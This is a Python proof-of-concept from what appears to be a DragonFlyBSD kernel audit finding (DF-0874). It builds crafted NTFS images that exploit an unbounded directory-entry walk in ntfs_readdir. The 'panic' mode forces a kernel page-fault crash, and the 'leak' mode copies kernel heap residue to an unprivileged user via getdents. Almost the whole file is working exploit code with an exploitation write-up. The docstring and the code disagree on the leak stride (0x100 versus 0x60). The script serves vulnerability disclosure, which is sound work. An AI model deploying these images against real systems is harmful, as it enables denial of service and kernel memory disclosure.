DragonFlyBSD Kernel Audit
DF-0874 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-0874 NTFS image crafter -- unbounded attr_indexentry walk in ntfs_readdir.

THE BUG (sys/vfs/ntfs/ntfs_vnops.c:585-586):

    for (; !(iep->ie_flag & NTFS_IEFLAG_LAST);
        iep = NTFS_NEXTREC(iep, struct attr_indexentry *))
    {
        ... process iep, vop_write_dirent(iep->ie_number, ..., convname) ...
    }

NTFS_NEXTREC(s, type) == (type)(((caddr_t)s) + (s)->reclen)   [ntfs.h:273]

`iep->reclen` is a u16 read straight off the disk image; the loop advances by
that attacker-controlled stride and NEVER checks that the new iep still lies
inside fp->f_dirblbuf (the kmalloc'd INDEX block buffer).

Compare with the SIBLING walk in ntfs_ntreaddir (sys/vfs/ntfs/ntfs_subr.c:1176):

    for (; !(iep->ie_flag & NTFS_IEFLAG_LAST) && (rdsize > aoff);
        aoff += iep->reclen,
        iep = (struct attr_indexentry *) (rdbuf + aoff))

which IS bounded by `(rdsize > aoff)`. ntfs_ntreaddir uses this bounded walk to
FIND the matching entry (num-th permitted entry), returns *riepp pointing inside
f_dirblbuf, then returns. ntfs_readdir then does its OWN UNBOUNDED walk from
that returned pointer -- and that is the hole.

EXPLOITATION:

ntfs_ntreaddir returns entry[0] on the first readdir call (num==0). Its
bounded loop only validates that the RETURNED entry fits; it does not care
what reclen the returned entry carries, because it returns before consuming
that reclen. ntfs_readdir then reads entry[0], calls vop_write_dirent to copy
entry[0]->ie_number + convname(entry[0]->ie_fname) to userspace (legitimate),
then computes  next = entry[0] + entry[0]->reclen  and dereferences
next->ie_flag -- with NO bounds check.

Two crafted images are produced:

  * panic image  (--mode panic): entry[0].reclen = 0xFFF0.  next lands ~64KB
    past the 4 KiB f_dirblbuf in unmapped kernel VA -> page fault -> panic
    "fatal trap 12: page fault" at the ntfs_readdir inner-loop deref.
    This is the deterministic proof that the unbounded walk reads past the
    buffer.

  * leak image   (--mode leak):  entry[0].reclen = 0x100 (256) and NO LAST
    entry is placed in the resident data.  ir_size is set small (0x80) so the
    buffer is allocated from a small slab bucket; the walk reads successive
    "entries" from heap residue / adjacent slab chunks, copying ie_number
    (4 bytes) and a convname derived from ie_fname/ie_fnamelen residue to
    userspace via vop_write_dirent -> kernel heap info leak.  Run repeatedly
    to observe byte variance from heap residue.

Mount precondition (realistic): root creates the image and mount_ntfs's it
(or sets vfs.usermount=1 + chowns the device); the unprivileged user then
issues getdents(2) on a directory fd.  This matches the AGENT.md realistic
threat model ("an admin has mounted a filesystem image").
"""

import argparse
import struct

# ---- geometry (standard NTFS, same as DF-0873 sibling) ----
BPS         = 512
SPC         = 8
CLU         = BPS * SPC            # 4096
MFTRECSZ    = 0xF6                 # -10 => 2**10 = 1024
RECSZ       = 1024
NCLUSTERS   = 128                  # 512 KB volume
MFTCN       = 2
UPCASE_CN   = 34
UPCASE_NCLU = 32                   # 131072 B = 65536 * sizeof(wchar)

FILE_MAGIC  = 0x454C4946           # "FILE"
FIXUP_OFF   = 0x30
FIXUP_VAL   = 0xA001

A_STD, A_NAME, A_DATA, A_INDXROOT = 0x10, 0x30, 0x80, 0x90
NTFS_FRFLAG_DIR = 0x0002


def le16(v): return struct.pack("<H", v & 0xFFFF)
def le32(v): return struct.pack("<I", v & 0xFFFFFFFF)
def le64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)


def boot_sector():
    b = bytearray(BPS)
    b[0:3]   = b"\xEB\x52\x90"
    b[3:11]  = b"NTFS    "
    struct.pack_into("<H", b, 11, BPS)
    b[13]    = SPC
    b[21]    = 0xF8
    struct.pack_into("<H", b, 24, 32)
    struct.pack_into("<H", b, 26, 2)
    struct.pack_into("<Q", b, 40, NCLUSTERS * SPC)
    struct.pack_into("<Q", b, 48, MFTCN)
    struct.pack_into("<Q", b, 56, 64)
    b[64]    = MFTRECSZ
    struct.pack_into("<I", b, 65, 4096)
    struct.pack_into("<I", b, 69, 0xDEADBEEF)
    return bytes(b)


def resident_attr(atype, datalen, data, name="", reclen_pad=8):
    wname = name.encode("utf-16-le") if name else b""
    namelen = len(name)
    nameoff = 0x18
    dataoff = nameoff + len(wname)
    reclen  = dataoff + datalen
    reclen  = (reclen + reclen_pad - 1) & ~(reclen_pad - 1)
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, atype)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0          # non-resident flag = 0 (resident)
    buf[9]  = namelen
    buf[10] = nameoff & 0xFF
    buf[11] = 0
    struct.pack_into("<H", buf, 16, datalen)
    struct.pack_into("<H", buf, 20, dataoff)
    buf[nameoff:dataoff] = wname
    buf[dataoff:dataoff + len(data)] = data[:datalen]
    return bytes(buf)


def nonresident_data_attr(runs_bytes, allocated, datalen):
    dataoff = 0x40
    reclen = dataoff + len(runs_bytes)
    reclen = (reclen + 7) & ~7
    buf = bytearray(reclen)
    struct.pack_into("<I", buf, 0, A_DATA)
    struct.pack_into("<I", buf, 4, reclen)
    buf[8]  = 0x01
    buf[10] = dataoff & 0xFF
    ncu = datalen // CLU
    struct.pack_into("<Q", buf, 24, ncu - 1)
    struct.pack_into("<H", buf, 32, dataoff)
    struct.pack_into("<Q", buf, 40, allocated)
    struct.pack_into("<Q", buf, 48, datalen)
    struct.pack_into("<Q", buf, 56, datalen)
    buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes
    return bytes(buf)


def term_attr():
    b = bytearray(8)
    struct.pack_into("<I", b, 0, 0xFFFFFFFF)
    return bytes(b)


def mft_record(seqnum, nlink, flags, attrs_bytes):
    rec = bytearray(RECSZ)
    struct.pack_into("<I", rec, 0, FILE_MAGIC)
    struct.pack_into("<H", rec, 4, FIXUP_OFF)
    struct.pack_into("<H", rec, 6, RECSZ // BPS + 1)
    struct.pack_into("<H", rec, 16, seqnum)
    struct.pack_into("<H", rec, 18, nlink)
    attroff = 0x38
    struct.pack_into("<H", rec, 20, attroff)
    struct.pack_into("<H", rec, 22, flags)
    used = attroff + len(attrs_bytes)
    struct.pack_into("<I", rec, 24, used)
    struct.pack_into("<I", rec, 28, RECSZ)
    struct.pack_into("<HHH", rec, FIXUP_OFF, FIXUP_VAL, FIXUP_VAL, FIXUP_VAL)
    rec[attroff:attroff + len(attrs_bytes)] = attrs_bytes
    struct.pack_into("<H", rec, BPS - 2, FIXUP_VAL)
    struct.pack_into("<H", rec, RECSZ - 2, FIXUP_VAL)
    return bytes(rec)


# struct attr_indexentry (natural alignment -- confirmed by DF-0873 disasm):
#   +0x00 ie_number    u32
#   +0x04 unknown1     u32
#   +0x08 reclen       u16   <-- ATTACKER CONTROLLED STRIDE (the bug)
#   +0x0A ie_size      u16
#   +0x0C ie_flag      u32   (1=subnode, 2=LAST)
#   +0x10 ie_fpnumber  u32
#   +0x14 unknown2     u32
#   +0x18 ie_ftimes    4*u64 (32 bytes)
#   +0x38 ie_fallocated u64
#   +0x40 ie_fsize      u64
#   +0x48 ie_fflag      u64
#   +0x50 ie_fnamelen   u8
#   +0x51 ie_fnametype  u8    (1=Win32 -> ntfs_isnamepermitted returns 1)
#   +0x52 ie_fname[]    wchar[]
def evil_entry(ie_number, reclen, fnamelen, fname_wchars, fnametype=1):
    body = 82 + fnamelen * 2
    e = bytearray(body)
    struct.pack_into("<I", e, 0x00, ie_number & 0xFFFFFFFF)
    struct.pack_into("<H", e, 0x08, reclen & 0xFFFF)   # the attacker stride
    struct.pack_into("<I", e, 0x0C, 0x00000000)         # ie_flag = 0 (NOT last)
    struct.pack_into("<I", e, 0x10, 0x05)               # ie_fpnumber
    struct.pack_into("<Q", e, 0x48, 0x00000000)         # ie_fflag = regular
    e[0x50] = fnamelen & 0xFF
    e[0x51] = fnametype & 0xFF                          # 1 = Win32 (permitted)
    for k, w in enumerate(fname_wchars):
        struct.pack_into("<H", e, 0x52 + k * 2, w & 0xFFFF)
    return bytes(e)


def last_entry():
    """Terminal LAST entry (ie_flag = NTFS_IEFLAG_LAST = 2)."""
    e = bytearray(0x58)
    struct.pack_into("<I", e, 0x0C, 0x00000002)
    struct.pack_into("<H", e, 0x08, len(e))
    return bytes(e)


def index_root_data(entries, ir_size=0x1000):
    """Resident $INDEX_ROOT data: 32-byte attr_indexroot header + entries.

    ir_flag = 0 (NO INDXALLOC) so ntfs_ntreaddir reads only the resident
    entries and does not require $INDEX_ALLOCATION / $BITMAP.
    ir_size controls f_dirblsz (the kmalloc bucket floor for f_dirblbuf).
    """
    hdr = bytearray(32)
    struct.pack_into("<I", hdr, 0, 0x30)        # ir_unkn1
    struct.pack_into("<I", hdr, 4, 0x01)        # ir_unkn2
    struct.pack_into("<I", hdr, 8, ir_size)     # ir_size  -> f_dirblsz
    struct.pack_into("<I", hdr, 12, 1)          # ir_unkn3
    struct.pack_into("<I", hdr, 16, 0x10)       # ir_unkn4
    entries_size = sum(len(e) for e in entries)
    struct.pack_into("<I", hdr, 20, entries_size)   # ir_datalen
    struct.pack_into("<I", hdr, 24, entries_size)   # ir_allocated
    struct.pack_into("<H", hdr, 28, 0x0000)     # ir_flag = 0 (no indxalloc)
    struct.pack_into("<H", hdr, 30, 0x0000)
    data = bytes(hdr)
    for e in entries:
        data += e
    return data


def attrdef_data():
    e0 = bytearray(160)
    name = "$STANDARD_INFORMATION"
    for i, ch in enumerate(name):
        struct.pack_into("<H", e0, i * 2, ord(ch))
    struct.pack_into("<I", e0, 128, A_STD)
    e1 = bytearray(160)
    name2 = "$FILE_NAME"
    for i, ch in enumerate(name2):
        struct.pack_into("<H", e1, i * 2, ord(ch))
    struct.pack_into("<I", e1, 128, A_NAME)
    return bytes(e0) + bytes(e1)


def upcase_table():
    return b"".join(struct.pack("<H", i) for i in range(65536))


def runs_encode(cluster, length):
    return bytes([0x11, length & 0xFF, cluster & 0x7F, 0x00])


def build(out_path, mode="panic"):
    img = bytearray(NCLUSTERS * CLU)
    img[0:BPS] = boot_sector()

    # MFT record 0: $MFT (minimal $DATA attr)
    rec0 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, 8, b"\x00" * 8) + term_attr())
    off = MFTCN * CLU + 0 * RECSZ
    img[off:off + RECSZ] = rec0

    # MFT record 4: $AttrDef
    ad = attrdef_data()
    rec4 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(ad), ad) + term_attr())
    off = MFTCN * CLU + 4 * RECSZ
    img[off:off + RECSZ] = rec4

    # MFT record 5: root directory with EVIL $INDEX_ROOT:$I30
    #
    # DF-0874 trigger: entry[0] is the matching entry ntfs_ntreaddir returns
    # on the first readdir call (num==0). Its reclen is the attacker-controlled
    # stride that ntfs_readdir's UNBOUNDED inner loop consumes.
    if mode == "panic":
        # reclen = 0xFFF0 -> next iep ~64KB past the 4KiB buffer -> unmapped
        # -> fatal trap 12 page fault at the ie_flag deref in ntfs_readdir.
        evil = evil_entry(ie_number=0x41414141,
                          reclen=0xFFF0,
                          fnamelen=4,
                          fname_wchars=[0x41, 0x41, 0x41, 0x41])
        ir_size = 0x1000
        entries = [evil]
        # NO last_entry() deliberately: ntfs_readdir must not find a terminator
        # before consuming evil.reclen. ntfs_ntreaddir still returns evil[0]
        # because its bounded loop returns on the num-match before walking on.
    elif mode == "leak":
        # reclen = 0x60, ir_size small -> buffer in a small slab bucket; the
        # walk reads successive "entries" out of heap residue / neighbour slab
        # chunks and copies ie_number + convname(ie_fname) to userspace.
        evil = evil_entry(ie_number=0x42424242,
                          reclen=0x60,
                          fnamelen=4,
                          fname_wchars=[0x42, 0x42, 0x42, 0x42])
        ir_size = 0x80
        entries = [evil]
    else:
        raise SystemExit(f"unknown mode {mode!r}")

    iroot = index_root_data(entries, ir_size=ir_size)
    idxroot_attr = resident_attr(A_INDXROOT, len(iroot), iroot, name="$I30")
    rec5 = mft_record(1, 1, NTFS_FRFLAG_DIR, idxroot_attr + term_attr())
    off = MFTCN * CLU + 5 * RECSZ
    img[off:off + RECSZ] = rec5

    # MFT record 6: $Bitmap
    bmp = b"\xFF" * 16
    rec6 = mft_record(1, 1, 0,
                      resident_attr(A_DATA, len(bmp), bmp) + term_attr())
    off = MFTCN * CLU + 6 * RECSZ
    img[off:off + RECSZ] = rec6

    # MFT record 10: $UpCase (non-resident)
    runs = runs_encode(UPCASE_CN, UPCASE_NCLU)
    nr = nonresident_data_attr(runs, UPCASE_NCLU * CLU, UPCASE_NCLU * CLU)
    rec10 = mft_record(1, 1, 0, nr + term_attr())
    off = MFTCN * CLU + 10 * RECSZ
    img[off:off + RECSZ] = rec10

    uo = UPCASE_CN * CLU
    img[uo:uo + UPCASE_NCLU * CLU] = upcase_table()

    with open(out_path, "wb") as f:
        f.write(img)
    print(f"[+] wrote {out_path} ({len(img)} bytes)  mode={mode}")
    print(f"[+] root $INDEX_ROOT:$I30 entry[0]: "
          f"ie_number=0x{struct.unpack_from('<I', evil, 0)[0]:08X}, "
          f"reclen=0x{struct.unpack_from('<H', evil, 0x08)[0]:04X}, "
          f"ie_flag=0x{struct.unpack_from('<I', evil, 0x0C)[0]:08X} (NOT LAST)")
    print(f"[+] NO terminal LAST entry placed in resident data -> "
          f"ntfs_readdir inner loop has no in-buffer terminator.")


if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("out", help="output image path")
    ap.add_argument("--mode", choices=["panic", "leak"], default="panic")
    a = ap.parse_args()
    build(a.out, a.mode)